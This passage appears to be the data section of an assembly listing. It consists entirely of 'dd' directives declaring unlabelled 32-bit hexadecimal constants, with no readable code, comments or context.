		dd 25B2AB7Dh, 4FDDB9DCh, 0ABFB4260h, 0A92AE057h, 0EECFB51Dh
		dd 2317DE40h, 26212895h, 60D5BC23h, 0F4EBC08Bh,	57DEF100h
		dd 3D4B5977h, 22F50088h, 0D63AB8CFh, 0E57127DDh, 8190200Fh
		dd 12B640A1h, 0F2C4ECFDh, 6A3F00B5h, 4933925Eh,	0A30384F3h
		dd 61C3838Fh, 0EAB6F807h, 0B728002Ah, 0F9942FAFh, 5A3D184Dh
		dd 0B30E00BAh, 656C69DEh, 39581C16h, 11246Bh, 3318F38Eh
		dd 0A1004468h, 2CA59FB8h, 7C1627BBh, 38731F14h,	0AD0C3F9Ch
		dd 521898F8h, 3DE73B10h, 8B771A00h, 0DE1080BEh,	6019563Ah
		dd 4E4B3610h, 4C9F03E5h, 5497BAAFh, 21300830h, 144E4359h
		dd 0BD745C61h, 0F13F4101h, 88F5E501h, 18371F60h, 0A5473116h
		dd 80BDF830h, 67B70B8Ah, 81C69913h, 0B20DBF2Bh,	30E08810h
		dd 0E3114E4Dh, 2A887C9Fh, 4E455B80h, 0C01CFF4Fh, 0DE431610h
		dd 0A8009011h, 48363430h, 12A7310Fh, 1F418B7Ah,	1CAF8017h
		dd 0A554B9Bh, 93B1250Fh, 605680C8h, 771765h, 0D0287539h
		dd 95BF3D2Ah, 8245F400h, 98DBBCD7h, 0DE731F7Ah,	642A00D1h
		dd 0F9AE2F0Eh, 878D4300h, 7A3527D9h, 0A9500E94h, 0CA202EA0h
		dd 47D2786Dh, 99DC4D03h, 0D045B929h, 0F9E2685h,	6FF83013h
		dd 97869620h, 2800A033h, 0DE352BD2h, 0CF66670h,	0A1D6C94Eh
		dd 9500C419h, 228C5DF7h
		dd 4048ED53h, 7F0073BCh, 0A538D67Dh, 0F4A15CCDh, 15E039Eh
		dd 0D4B848EAh, 309837C9h, 0AC00D008h, 0ED71975Ch, 785342E8h
		dd 4D7422h, 32A0153Ch, 909F018Eh, 1D6CAC38h, 0A1471A69h
		dd 40ACDC17h, 9D240C9Ch, 4988540Bh, 9F952F03h, 3B97604Fh
		dd 7818A61h, 6DA7BDE7h,	5D15202Fh, 2B0E1301h, 0FC205A59h
		dd 7A2AD0h, 0D3FD1942h,	2FF7B06Bh, 0D6E33Ah, 0BFF20B9Fh
		dd 6D153DEh, 5907C3B4h,	4B6008B3h, 0DEA71221h, 0D5010191h
		dd 20CE693Ch, 0EFE9F385h, 0F752D09Eh, 174EBF00h, 0F66F28B8h
		dd 472033F3h, 21009B08h, 0F9175662h, 1E4AD14Ch,	0C3190E3Eh
		dd 0DBFEAA6Ah, 5A516900h, 0F1490675h, 789400C6h, 6A0970CCh
		dd 871BAAF3h, 2328F68Ah, 0BE0130C0h, 8CD150DEh,	99884D18h
		dd 0DE7CA6h, 641D4E10h,	82A1E653h, 3D742306h, 7C10468Ch
		dd 2F73360Bh, 846E0B1h,	0BD175502h, 711C5728h, 0DD171C5Dh
		dd 77A107EBh, 1A9520B4h, 90062916h, 0AAE09414h,	0E0C08DC1h
		dd 0B7BF9D2Fh, 0F6178801h, 6796A806h, 3C7DD8h, 0B25B2D90h
		dd 0DDFDE759h, 9B809401h, 174942F0h, 8AAA840h, 0D9D3000Eh
		dd 0EF105956h, 9501A20Dh, 37575336h, 0EEF0BAABh, 9AD1C0AAh
		dd 0D79D32C7h, 7DBFAF01h, 79F4DC70h, 0E657120h,	0D95AA84Ch
		dd 60292146h, 0CF693500h, 0CC80FBB0h, 18AB01F3h, 302091DCh
		dd 0E082DAEBh, 3211F77Fh, 0DE08B818h, 0C49CD14Eh, 0A09B403Ah
		dd 16D23DEh, 0CF5202E7h, 8016D163h, 50C81E78h, 50A4F4CCh
		dd 638BE44Eh, 6284C8E0h, 7BCF4106h, 0F302369h, 6DD94826h
		dd 0F42A5483h, 0D7522000h, 4E04CA5Ch, 0D6270C6Ch, 0FC086476h
		dd 34B221C0h, 5B67CAh, 95C55E74h, 971A4AB6h, 98090828h
		dd 7D859F00h, 8E5F0172h, 68CF094Ch, 241D0FD7h, 85807811h
		dd 29C59E24h, 188A8C0Ch, 8C0948F2h, 0BE17500Eh,	7388B128h
		dd 17586082h, 0C9C0808Bh, 0F8825E8Dh, 21956372h, 0B9001A08h
		dd 78A36C87h, 0EE828EAEh, 599C0A40h, 0A26E2Bh, 67DC9F9h
		dd 0E324FC0Ch, 0BC00C889h, 6790B15Dh, 0A1730DCh, 732A8849h
		dd 41C40F0Eh, 21850018h, 0A68B94Ch, 15D624Fh, 0AC0C00C0h
		dd 971A244h, 584BD507h,	2CB4C56h, 0C2655709h, 0AAC604E9h
		dd 0EAAC2080h, 0F53000C8h, 0F820690h, 0DD01C61Eh, 0D4F9548Eh
		dd 63D79D43h, 0A1CCA040h, 8EF5800h, 4DCE01Eh, 19822843h
		dd 25946F8h, 4E03CA39h,	10FB3154h, 76CA31B1h, 26BA60FDh
		dd 9EF710C9h, 0FA026890h, 0B6AA8706h, 44244729h, 0A8260FAh
		dd 0E22000E1h, 89306FF0h, 0FC3C2942h, 0CFB050D8h, 19D03562h
		dd 181D09BFh, 0F1804111h, 17AF2C50h, 19914600h,	0D4FCF30h
		dd 94EA484Ch, 0A0526505h, 2BE02007h, 3A013402h,	0A3D3A580h
		dd 8989D88h, 0B46210Ch,	9FF93438h, 0A100E450h, 829418FEh
		dd 0E20106CFh, 0C0AA8884h, 0F4830624h, 0BD602D44h, 0D12655DEh
		dd 987074A4h, 35DE00A5h, 88530EEAh, 0CF00E18Bh,	0EB76BBEDh
		dd 43C9DB8h, 0CE5CC658h, 391086C2h, 0DA1E5203h,	9C48CB4h
		dd 115BD180h, 948F7CAFh, 2A18FA4Ch, 0D631E460h,	0E8A1134Bh
		dd 1EE9F084h, 0C0766F92h, 81E6D2E5h, 32488DA3h,	49D302A1h
		dd 80398580h, 0C4F41898h, 720B2DCh, 3AD3EC19h, 0B00A27B1h
		dd 3936419Fh, 0F66B9C13h, 0D034902h, 0B3C2E832h, 5F8F3DA3h
		dd 8A00F9BFh, 0E0E4B9C1h, 0FC3B8948h, 6AB207FAh, 67412824h
		dd 81CC9E0Eh, 7FAD07E6h, 305014A0h, 5ADB2AB5h, 0D40060F2h
		dd 0D7BF8E49h, 24C01Bh,	22A8253Bh, 18DC3806h, 0EC033DEEh
		dd 0FB65B2D6h, 0EDC8A0E6h, 0C9270009h, 0CAFF6A47h, 107CC1Ch
		dd 9D49E021h, 0E359EDB3h, 431800C3h, 3E1A6D46h,	767FEECAh
		dd 0E23C57F0h, 516A063Fh, 0C28CE77h, 0AD88C3B2h, 4B0E6161h
		dd 0E3DCB35Dh, 0D8699F18h, 58CCF691h, 5A008A02h, 0BD0659C3h
		dd 0ED01C91Dh, 80C624E6h, 1441D869h, 17D0873Eh,	0D06795Bh
		dd 0FEBFDDB5h, 0C5A6F878h, 0D1D34C34h, 0FAA11C31h, 70AD199Eh
		dd 0D8EDF0C0h, 98DDCA32h, 39D8135Bh, 1B0E60D3h,	1A0C31CCh
		dd 115C1521h, 401B000Ch, 171DF520h, 335F01B6h, 0A7A6FAC0h
		dd 0B22080C6h, 0F566C588h, 691E0FC8h, 9380B3BBh, 118101E1h
		dd 0E2A1CA18h, 0A78FAB1h, 0C06C5C44h, 243C00B1h, 0F72A4002h
		dd 51BF7931h, 318EE9A1h, 4807C716h, 4BC5C0EEh, 0B5039338h
		dd 8AE7B1B3h, 0C91ED090h, 691D1808h, 2497980h, 15F08E01h
		dd 0AEA9438Ah, 0A451A043h, 0D33E855Eh, 559800F0h, 746AE1DAh
		dd 900E498h, 0CBDFE823h, 77319F5Dh, 0C51D0D0Bh,	20793A4Dh
		dd 8E50F7AFh, 0E288B424h, 0B8314EA3h, 288A0ECDh, 3F728014h
		dd 0E736717h, 0C8B5E7B2h, 31DD9820h, 0A50AFF5h,	1A0CEDF4h
		dd 30D918D7h, 0EAE930F1h, 36984F8h, 43043C92h, 0C158E34Eh
		dd 19775080h, 2851FE91h, 5EC6CF3h, 0F6F53CB2h, 0F4203C01h
		dd 10778346h, 7619759h,	0AA1DAB2Fh, 2B83F7B9h, 24884228h
		dd 803C2A31h, 71EA016Eh, 1ECD6A27h, 92CCC5CCh, 0B7C90668h
		dd 10C8B1BEh, 2992D203h, 0C83D47F4h, 0CC8C2FEAh, 8213E08h
		dd 98291B02h, 0A01F9A12h, 42B8AEF0h, 0F08B2EFEh, 0E200380Dh
		dd 55D53F1Ch, 810D2935h, 0C8BE2F39h, 0B84F9C01h, 882EE310h
		dd 7948EC67h, 48E27EC2h, 0A1C8755Ch, 8F18DA50h,	47EF2908h
		dd 53D3C495h, 3529CE00h, 244E81h, 338FF25Bh, 1A1D193h
		dd 9B36B1C0h, 0AB2010h,	5031663Ah, 0ECF2A6B1h, 0C6B2EB00h
		dd 0E88965A7h, 0FAB490DCh, 0C8BA0080h, 3952512Ah, 937C5CB3h
		dd 6A1D0905h, 5408C969h, 2990C0DDh, 8D4647EEh, 0F200DD22h
		dd 0BF532918h, 125FA34Ch, 2F7A643h, 1BD44930h, 0E311E080h
		dd 0A892D14Bh, 2C3BF603h, 88E8302Fh, 6169C3ACh,	44E371D4h
		dd 2A2983CDh, 0A0AD6E2Dh, 4856CE6Bh, 6048AC29h,	29C3A786h
		dd 9DA54D00h, 3810DBEEh, 0EA2FE4A0h, 0E1C04862h, 0EA303204h
		dd 889C84BEh, 0A0648360h, 58839498h, 0E9583EDFh, 0EA40B044h
		dd 0F7EC0C1Eh, 6869C7AAh, 1901B17Fh, 0AE0AB03Ah, 895A849h
		dd 8700FC5Ah, 0EEF5A7D9h, 73145D1Dh, 84E3FAh, 0B2540D3Fh
		dd 0A10CECC9h, 9118DCB0h, 47232975h, 7D81185h, 62919EFh
		dd 0BCC0C0E4h, 481844ABh, 0DAE828CCh, 0B63B388Ch, 8E4392h
		dd 120563A4h, 42244F40h, 0E51F58DCh, 0B8FCF28Dh, 0AF769681h
		dd 20E42BF5h, 12485674h, 8C018A18h, 85C48BBCh, 924420E5h
		dd 0A8064AC5h, 5939EAB4h, 0F0078BBh, 0F32CD442h, 890EBC6h
		dd 0B4EC7229h, 829EF811h, 0D83A14A7h, 86105B31h, 300A7DAh
		dd 44740472h, 900E6BBDh, 0F3AF126Ch, 0DC280434h, 0A46600ACh
		dd 1965A632h, 788C54FAh, 10D4233Ch, 6606C722h, 2025C63Ah
		dd 0EC2C24h, 15D467Ch, 531D4B67h, 4333FBAh, 8C007855h
		dd 5488C472h, 0E84098D9h, 0E7243019h, 8170611h,	825DB33Ah
		dd 0EE65E86Dh, 0E1436Ch, 87F2521h, 5A11D7CAh, 0CFBD871Ah
		dd 3EBC8260h, 75A102CBh, 69E4C0A0h, 7081C7EFh, 64E54020h
		dd 601BD830h, 2915A78Dh, 0C0B8903Ah, 0F6A7B58Bh, 772BB400h
		dd 2CA98475h, 87450DF7h, 91AC46C9h, 198317C8h, 16F2B108h
		dd 2710AF31h, 0EC000801h, 20BDDE79h, 0B7F5DF8h,	5A4761E1h
		dd 98B50400h, 73305F8Ch, 583ED966h, 8409146h, 3828C9C1h
		dd 2E6DEC44h, 148CAACEh, 1AC8B036h, 8E0810C0h, 221E465Dh
		dd 180C00B0h, 57FDDB08h, 1326E9BDh, 0EE0344D6h,	0CA9448C9h
		dd 46E08421h, 15301B32h
		dd 5D8D0808h, 0F16F6C36h, 81D0B00h, 4543E34Fh, 3AA2FD0Fh
		dd 0F5D8F94h, 6860D07Ah, 69C401CBh, 8C7F5843h, 8F081302h
		dd 166D265Dh, 81B2900h,	949872DDh, 83111DAFh, 0A9654024h
		dd 0C9908F42h, 4CDDFA24h, 0E99D7004h, 20A390C2h, 65276184h
		dd 0EE47C4A0h, 0DE8326h, 0B4096D12h, 1988520h, 9C49C044h
		dd 0BF3AB080h, 480964EEh, 0AC0056C7h, 0D25B8F61h, 41400528h
		dd 8FC907BEh, 0C0D88888h, 1D62690Bh, 19C16631h,	6424C2A7h
		dd 0C3170081h, 7B8DB3ABh, 0F700A46Bh, 0BA1D5A63h, 163A72FFh
		dd 48B26587h, 7783C2CCh, 0E1742842h, 5C41EBF0h,	0D4D0C573h
		dd 919FEAFh, 59AAF6DAh,	53523420h, 8100D95Ch, 91F81AE5h
		dd 51468DAh, 0D5FD3EBAh, 0C5FDC011h, 83FFDC79h,	14EEB208h
		dd 2F5C091h, 58510017h,	0E38A6935h, 0F0FE3EDFh,	9C901A06h
		dd 199CDBEh, 617E0602h,	208A9B39h, 0FB404E84h, 519F1D8Fh
		dd 42FC2E14h, 5505F38Dh, 952B6BC0h, 0DA4B18E7h,	5D5F3006h
		dd 0FC079094h, 690082CBh, 381AE8Bh, 0F643BC97h,	4006F18Fh
		dd 93366180h, 3E90158h,	0B7CBBD69h, 0EECC4048h,	490B3C3h
		dd 281D14A1h, 0F3CD808Ch, 6839471h, 6CCCCE12h, 80F7082Ah
		dd 711BC621h, 4687Ah, 0E1AC8A4Eh, 0E39FAB32h, 48E0455Dh
		dd 27520184h, 0F0038E1Ah, 6A17A428h, 234C3F10h,	0E085183Eh
		dd 0B8C024AEh, 0CF3B61E4h, 706C921Ch, 0E855805Fh, 41F2189Bh
		dd 44E0C3EEh, 0FD2C2814h, 5CA85CA2h, 4E3BC704h,	8814CEACh
		dd 2448C0AEh, 0F903A6DAh, 810A75E3h, 2C9AB31h, 0A20949C0h
		dd 0C4B07CE6h, 8F1171F0h, 0F888FA83h, 7140AB9Dh, 0ED4F1AB7h
		dd 23720261h, 68410332h, 7780C5Bh, 9C4684BFh, 0FB2021B4h
		dd 188C1883h, 99965BD5h, 31EA4DF0h, 5F8B261Fh, 0A202F20Bh
		dd 97412CB0h, 80DC91DCh, 0C93606DEh, 0E6122670h, 4DE3080Ch
		dd 812AB280h, 44A10FA3h, 45008918h, 53381601h, 352EB6h
		dd 555B361Fh, 7470C742h, 0EF84C17h, 8FFF0000h, 1B2FA581h
		dd 402CDC07h, 8CD748B9h, 69C3BD60h, 9E950317h, 0FC0F447Bh
		dd 2E0D6298h, 91E9B202h, 788F6981h, 77B5390Ch, 0F0C0104Ch
		dd 11BA0CF4h, 2CDEC900h, 0F3FC7374h, 81930414h,	0B057AF39h
		dd 102BAA8h, 238D8546h,	0FA80A0B8h, 0B8249BFFh,	94C700FEh
		dd 934BCFDFh, 2F3DC1ECh, 493280AEh, 0BC607A3Eh,	305307ABh
		dd 0F0B251F6h, 0CB4ADB0Ah, 0B524CA18h, 776951h,	89F27DE5h
		dd 7B417897h, 125B0F1Fh, 6D5C3D03h, 0C06BD847h,	0FC590014h
		dd 0B59F2F48h, 0CC02930Eh, 8E535DB7h, 80E88ECFh, 3101A76Bh
		dd 74EA040Fh, 0C4B19091h, 3A3CC258h, 0E709AC70h, 67755h
		dd 84EF250h, 0D69A1F10h, 0E411005Eh, 0D7A6CB86h, 8432F300h
		dd 7D21B396h, 0AF600BFh, 15625865h, 0FD1FD04Ch,	0DEC092B1h
		dd 12B7109Eh, 188EFDC5h, 0A5E0E98Bh, 54586BC0h,	7A842A01h
		dd 48C01F3h, 2EE05980h,	9F5735EEh, 7F806D0Ch, 0C0EA08B7h
		dd 0EF46BF21h, 4224143Ch, 9000CE01h, 0F3BAE92Eh, 156B0DC1h
		dd 0B889C97Dh, 0A8747C30h, 2EDBA518h, 24D211h, 38495341h
		dd 40B1F7E4h, 5761E574h, 425B0B21h, 666CC0h, 48DD3929h
		dd 85C03EB8h, 6B6580h, 17B176D5h, 3391D2A4h, 20DB6413h
		dd 9FDF4900h, 0A14683h,	53D74D65h, 0FD56E169h, 2376A0CEh
		dd 0C86A263Ch, 613A1933h, 5CCD1872h, 696183CCh,	41FBEEE9h
		dd 28999018h, 0DC594116h, 0E7019026h, 0B67C25A3h, 1330BDDBh
		dd 2A533FECh, 4C5A1C00h, 996D528Ch, 6A5E590Eh, 623D407Bh
		dd 28DB3079h, 39C7E2C3h, 5C812E32h, 2AC0D065h, 61DFEC1Eh
		dd 7859F739h, 98460E00h, 9AD6793Ch, 6B3E054Ch, 0C00DC0C2h
		dd 695C40B8h, 0BE0027F2h, 4562DD35h, 0B3D10Ch, 0DE19ADA4h
		dd 530AEB4Dh, 28645507h, 27013A0h, 0C3FBA452h, 0BB4B4021h
		dd 51D84EC8h, 0AE763A00h, 0E2735E46h, 18CB02E6h, 0D64D4A7Eh
		dd 3448F062h, 8DF17480h, 8290E41h, 0E37AB0E0h, 0A6E4FCh
		dd 3D457B12h, 0A4AD1479h, 626D7C00h, 0EEAF5796h, 89470071h
		dd 0F94B87A6h, 4C6180BBh, 0EC065050h, 0A0FBE940h, 67D400BCh
		dd 0C46882D2h, 0F45C456Ch, 1C007C3Fh, 0F380AC33h, 30D243FCh
		dd 0CC18DB93h, 0B3007706h, 3CCBC394h, 0FC46BA60h, 376CE85Bh
		dd 0F128A569h, 80AE5412h, 8EB72BC8h, 3D849D3h, 6E382D5Ah
		dd 0D0006F34h, 5916FA19h, 0C90440h, 715E9218h, 0FC756DBBh
		dd 95245503h, 0E07384E9h, 46EEAB5h, 90F94DE8h, 85244089h
		dd 2A9182F2h, 75981AA3h, 0B950073h, 0C5776299h,	2100BC5Dh
		dd 759DB505h, 6EAAF96Ch, 70C24185h, 988313B7h, 6000AE0Fh
		dd 0F6080229h, 0F0BBE33Fh, 89FE0096h, 6167A890h, 0D2005D07h
		dd 53B55256h, 1FF9FE5h,	47756BDEh, 0D06661A3h, 0CB0059FCh
		dd 53A90D03h, 3358EF23h, 65089BECh, 6AA22100h, 0A94BC0Eh
		dd 0C37850C2h, 0D26BF446h, 0FBF90020h, 5B0EE0A9h, 0E10056B8h
		dd 2C8AAA19h, 3CFB36Fh,	618B04A8h, 500048D5h, 0F07DECDCh
		dd 22043E8h, 75BB94C4h,	0DCC0A591h, 0FC0C3029h,	609619D3h
		dd 176B0CDFh, 0B9715733h, 0DB06A224h, 0D1FBA603h, 6D0930D4h
		dd 6BA9921h, 0E80E9201h, 6967F344h, 116BC980h, 46F2A4FBh
		dd 76E711C3h, 0AAC4C81Ah, 0AC6618BDh, 0CDAE0892h, 8C6C20C0h
		dd 8BCB1Ah, 1CB5DB2Fh, 6082F67Bh, 7C579D00h, 0B859C50Dh
		dd 4731C2BFh, 1D40B31Ch, 0C707E254h, 0C69A7D5Ch, 1F21E446h
		dd 4E2DA891h, 0B98060B7h, 0F8B3EB19h, 0A246CCA4h, 0A60E1602h
		dd 5E310B53h, 0E9DA910h, 88F02400h, 7BDFFE06h, 48156092h
		dd 3027EB3Bh, 4E6BCC03h, 880D4507h, 14C722h, 2FA4A176h
		dd 7705B163h, 0E23A08FEh, 7C8E8F7Ah, 37EEA07Eh,	1C505265h
		dd 80CD8B3Eh, 9816EC3h,	67006FCEh, 0A585FF10h, 270135h
		dd 8FF9739Eh, 4C40082Ch, 10296D00h, 36411F26h, 94DF002Fh
		dd 20A107B9h, 0BF03014Bh, 93100BF1h, 0EE9E0A8h,	0D8AA1C5Dh
		dd 4D6381C5h, 0DC83C82Bh, 64378FABh, 0ACA018B2h, 0F063D712h
		dd 0BCD62826h, 2DD20018h, 62B27DFh, 0C11FDEF4h,	84C05488h
		dd 0A25274B0h, 0F167013Ch, 5A349D45h, 8EFBF8EDh, 0B88C4800h
		dd 374E68D3h, 29E5F609h, 0E014F2CFh, 975F93C5h,	99AAC630h
		dd 457C8D3Ch, 490A3ACh,	13AD86DFh, 4D0010C2h, 0AC1F183Fh
		dd 0B3F2B4h, 753C9258h,	0AD370D46h, 4BDC4101h, 0CDF54D97h
		dd 0B0DE2988h, 90481488h, 0CED384B5h, 8D441A48h, 0BB10F922h
		dd 84689CFh, 0ED12EB64h, 89D3AC10h, 75A18022h, 73502372h
		dd 94CF16A2h, 6F53002Ch, 3002CCD8h, 0B1FC5200h,	8AA30E09h
		dd 220B3DE1h, 35EABB87h, 6A05F099h, 0C93BAAA9h,	1B9400A0h
		dd 0DCD8AC96h, 17380066h, 6C0CD49Eh, 0CCF7A89Ah, 2B032F80h
		dd 2DDF08F6h, 0F34EA0C3h, 64F400EAh, 19256850h,	0E70ED120h
		dd 2186F50Bh, 0A085747Fh, 1F5010DCh, 6AA63A42h,	0F20900C0h
		dd 0BBAC319Bh, 2601A7B6h, 8FD55139h, 5FC3DA8h, 4AA13970h
		dd 0B6EDBA06h, 3600504Dh, 38566357h, 7B33FA30h,	0A9F7665h
		dd 0D58E14A4h, 54A000ECh, 0AD34CA03h, 29133300h, 21995C0h
		dd 0CF9C1F6Bh, 20F38059h, 6271444Ch, 0DAB89301h, 28FDC510h
		dd 735E0CC8h, 0AB3D077Dh, 0E041A90Bh, 2240C227h, 4200A67Dh
		dd 3B0C5221h, 0A6C6Ah, 17A52854h, 796E3D6Fh, 0E4C71D07h
		dd 99A09C44h, 4BD6FEh, 0ADF3546Dh, 4877235Fh, 0F4C37000h
		dd 27D5683h, 0F84203CFh
		dd 8788A54Ch, 5523F6B8h, 26AE5A00h, 5C47C104h, 3E970315h
		dd 0C99B1272h, 78E824h,	8EAB9175h, 0EDF54103h, 4FCCFDB2h
		dd 0BB570045h, 14ACEEF1h, 583E30A5h, 12200055h,	0A92CD6D9h
		dd 0FC9C00B0h, 74738752h, 4C00567Fh, 8C3ABB59h,	756869h
		dd 0E3628E93h, 98DD1CA0h, 14D9BE3Ch, 8E416C7h, 8B26A41h
		dd 0A9E0595Dh, 38B0C2E2h, 1180E396h, 0D0BEEF67h, 0D2393680h
		dd 7C9063C8h, 8317808Ch, 1D32E09Fh, 0BAEE94ECh,	460A0F80h
		dd 0A24AA490h, 0BCC51C00h, 0F89D253Fh, 6A6E0071h, 92DFBA19h
		dd 0A10057CBh, 87149EDAh, 90F07858h, 0D3080E48h, 0D06FB17Dh
		dd 2F3DF720h, 3512652Eh, 0FF01E95Bh, 34B8D647h,	95FD1080h
		dd 88590ECEh, 0C1E41A07h, 7F60A2A6h, 492051h, 8A3A11AAh
		dd 94E3FE04h, 3A06000h,	0ACC06E6Bh, 0C451C9Ah, 49B50046h
		dd 536AD09h, 486CA600h,	0CFDE1765h, 0ACA100D0h,	0A089E02h
		dd 0BE003F8Ah, 5142F5E7h, 906C8Fh, 0B6E31363h, 0AFD3A45Dh
		dd 0DC58971Dh, 0F50156C0h, 5E33FFh, 0C8BD4E5Fh,	9B1FD1B3h
		dd 932C0A0h, 3741FE00h,	4FD4C640h, 0BAD7003Dh, 0E402668Ch
		dd 6A1E9ED1h, 93405B89h, 0DA443A30h, 9176017Eh,	5EF3273Eh
		dd 0BCA12F5Ch, 8D2D4h, 2F32CB0Dh, 48B2FCE6h, 7301FFB0h
		dd 0DC7A3841h, 38309DB5h, 985F0017h, 777547E1h,	9400CCB7h
		dd 0A09A2556h, 790BC957h, 4F1C0144h, 0A2A14078h, 0FA3AECE2h
		dd 0CF478600h, 24A3DDC5h, 256D00EFh, 0F5E83041h, 1E00169Ch
		dd 87565FBDh, 95EE17Fh,	3453AECCh, 2AE94C81h, 79600061h
		dd 8CAD58C0h, 0A48EE700h, 52A14568h, 5368FD60h,	4A8405h
		dd 1C8B6020h, 471510E6h, 80D4F900h, 0C1C8CC14h,	0B43F00DDh
		dd 0DCD57C35h, 0A91C4A42h, 59400F63h, 4E7576B9h, 0FACB00F0h
		dd 74016132h, 56FC91CFh, 95380E07h, 0D4604B87h,	0C7CDD7h
		dd 7E52D2BEh, 7D6C1A26h, 445D880Fh, 67C30F19h, 22003A02h
		dd 20CF5Ch, 73FD6948h, 2D36334Bh, 0AD00FB79h, 566F81E1h
		dd 168BF7BFh, 154FFFh, 4A918434h, 6000A962h, 9439DE78h
		dd 793161h, 3E82B6B7h, 1ADAE49h, 787F6B1Ch, 200C694Eh
		dd 58EC760Fh, 0AC33004Fh, 77900849h, 7D00880Ah,	0AA682E39h
		dd 321CAD3h, 0CF9EBCE3h, 40C8444Bh, 2600291Bh, 9C0341FCh
		dd 0F8A71EB6h, 3C610009h, 408EDDD4h, 6F0F5CE1h,	0A0C82E5Dh
		dd 0FA2BFD96h, 0D9573CFEh, 1F9366A8h, 0EEB48C58h, 0D23006Ch
		dd 0ABDEF9CFh, 4ACDD00h, 7FE7A24Dh, 75600011h, 0F7FA46C4h
		dd 3892EEE0h, 0CC8BD300h, 12673BA4h, 0BFB904D6h, 0C2AA284Ch
		dd 0FBE06F31h, 512CFFA8h, 900058C1h, 7917352Ch,	0EFDC03CDh
		dd 0B376499Fh, 0A3680E88h, 38844Ch, 0EAD238E6h,	18CC81Dh
		dd 0F9A1F224h, 0DC4EC7F1h, 9500DCC6h, 4F1D3BEEh, 1A99D63h
		dd 0BBE8902Dh, 0DF52C882h, 8D198F0h, 80AFB738h,	0F2BE73E0h
		dd 909F5C30h, 3B6C00F9h, 529A853h, 9498C83Ah, 1E86A400h
		dd 632E3774h, 7D4800BFh, 0F004EBA8h, 9800D4FEh,	834DDDBBh
		dd 0A0453691h, 7B0CBABh, 666E61DEh, 3E612FA9h, 0C001A496h
		dd 0F9B0FC67h, 246ADC0Bh, 0A704986Bh, 777100D9h, 0F2893E14h
		dd 8F008668h, 7C8C8B16h, 265654h, 5B82CF6Fh, 997155C6h
		dd 0DE0014B8h, 0EB077E02h, 1FDA9A34h, 8E2F3Bh, 1DDF8DD8h
		dd 75031767h, 6FD01BDCh, 5B508068h, 9BC40004h, 36EDC5B6h
		dd 4800A01Eh, 0C07374CDh, 41B187h, 20BC9483h, 17537915h
		dd 0E100AB7Ah, 4A7499EBh, 4F0454h, 0C0ED28D2h, 157DA892h
		dd 0F4177F03h, 9F515Fh,	0C2E7634h, 0E5BAA069h, 0C843A900h
		dd 2173F255h, 2BE1001Ah, 0C33929B2h, 5D00B0BDh,	7C67F12h
		dd 0A1CBF713h, 0DEE0E4C0h, 71761F34h, 0BA86C024h, 3044AB67h
		dd 0D595BE00h, 0C20D9DFBh, 85F600CCh, 0CF8B886Dh, 2E001C1Dh
		dd 526E7A6h, 864D77Eh, 0BFA941BAh, 2BE3AA82h, 9E77139Fh
		dd 0DE48EAF0h, 98F6000Ch, 60B5F1AFh, 484F0008h,	349ED523h
		dd 712E1D5Ch, 2A0057A1h, 0EE839022h, 93E00012h,	7702268Ch
		dd 0F0391FFh, 6CC86F3Ah, 0E3C2C0A7h, 735A1EE7h,	0EAE60035h
		dd 6BB29706h, 8D94D100h, 0C2256FE5h, 301F9873h,	9640AD9Dh
		dd 0EA00C13Bh, 5BF7442h, 2E3D5BCh, 46C2D1A3h, 0AC633A66h
		dd 7993809Fh, 0E100297Fh, 1165560Ch, 0AE94B3h, 0F5591BBDh
		dd 6034085h, 0B268FE00h, 6E37228Bh, 0E02600B7h,	867B42Bh
		dd 930555FBh, 0C838FF91h, 0E43E2880h, 1F482C3Ah, 41F30035h
		dd 0AEC0938Eh, 0ECD6DA00h, 162B6B1h, 18B872CCh,	0C45CDDB7h
		dd 0B1D13B9h, 8C09EB3h,	0DC259780h, 69B600BBh, 0B262400Eh
		dd 0B90015BDh, 7E30E2C4h, 0E0DD31h, 2C6BD30Ah, 49576207h
		dd 0EB34FE03h, 8008A247h, 0C32A35h, 2553D891h, 0FBF4E399h
		dd 4AB1C500h, 0CDF92F47h, 3202015Eh, 288AAA93h,	0DC78742Dh
		dd 68D9070Bh, 53ACA001h, 0F8D70E0Ch, 0D04B3D4Eh, 0EE264101h
		dd 503E365Bh, 6C2D129Ch, 87B2324h, 20AD600h, 7DC3941h
		dd 0A2449009h, 83D7304Dh, 7007DDEh, 0D81C93EEh,	10333F6h
		dd 0EFF3988Bh, 0D240A9DCh, 4D90A050h, 806C25h, 4A31E3D4h
		dd 728400A7h, 20652DD5h, 0ED55C9A8h, 0DDCA30B4h, 2CBAB100h
		dd 0ADF38C21h, 98A67012h, 78A23FABh, 0F5AD707h,	69C62039h
		dd 0F1020837h, 5FC83C90h, 901C010h, 0B8B856h, 1FF868BDh
		dd 0BBCB72F4h, 51084100h, 7C63AB4Bh, 78A1C0D6h,	5765BF8Fh
		dd 0AF470F18h, 0BB4C70h, 8AB386EDh, 3A7289ACh, 88EF0619h
		dd 64DC6568h, 40D460E9h, 0AFD6FBB2h, 89C35518h,	3C4E2120h
		dd 3000458Fh, 0CCF29539h, 34001726h, 4B966086h,	457247h
		dd 0EE929056h, 0DBD0B95Ch, 84AC892Ah, 5900977Ch, 86DC6928h
		dd 0A0391Ch, 544C38E0h,	0B84ABA2Ah, 0C1EC43F9h,	0BF115B90h
		dd 0D87A3E00h, 45E20D54h, 3843E2Ch, 0F68EC73Bh,	0C2C114CCh
		dd 20A06C6Dh, 5A02084Dh, 0DA8062B4h, 74986019h,	3FA300BBh
		dd 0FFE0B02Dh, 0E7E2435Dh, 47D95C02h, 70FC8D40h, 0AC9901F0h
		dd 4FF3814Ch, 0C9DAE80Fh, 249F0926h, 7B908483h,	81698114h
		dd 0B6F8C0h, 9187AE3Bh,	7EBCF6F7h, 466DA800h, 0B3D577C9h
		dd 60639072h, 84784183h, 6300AA2Dh, 0E85621D1h,	5813C801h
		dd 0D0A62A8h, 0BCBE1Ch,	0A0B53361h, 0C30EB2C5h,	606A445Eh
		dd 0EA97DEEEh, 29409270h, 15D49512h, 3D1F5C74h,	0BAD0C0DDh
		dd 95EE1A60h, 0F21CDF3Ah, 0C9049103h, 1FB0B3h, 0EA9A87F1h
		dd 559CD1F1h, 23FF390Ah, 0E341E065h, 8D205CB8h,	0DAE2F8h
		dd 0BDDE6225h, 810D5EEh, 4B5AE903h, 0B9F4B1F1h,	75C48FDDh
		dd 78C10F12h, 801CED45h, 167B61B3h, 19003BA1h, 0B96973ADh
		dd 0B224BEh, 8CFFA330h,	43728168h, 29B1C600h, 23FFB7Bh
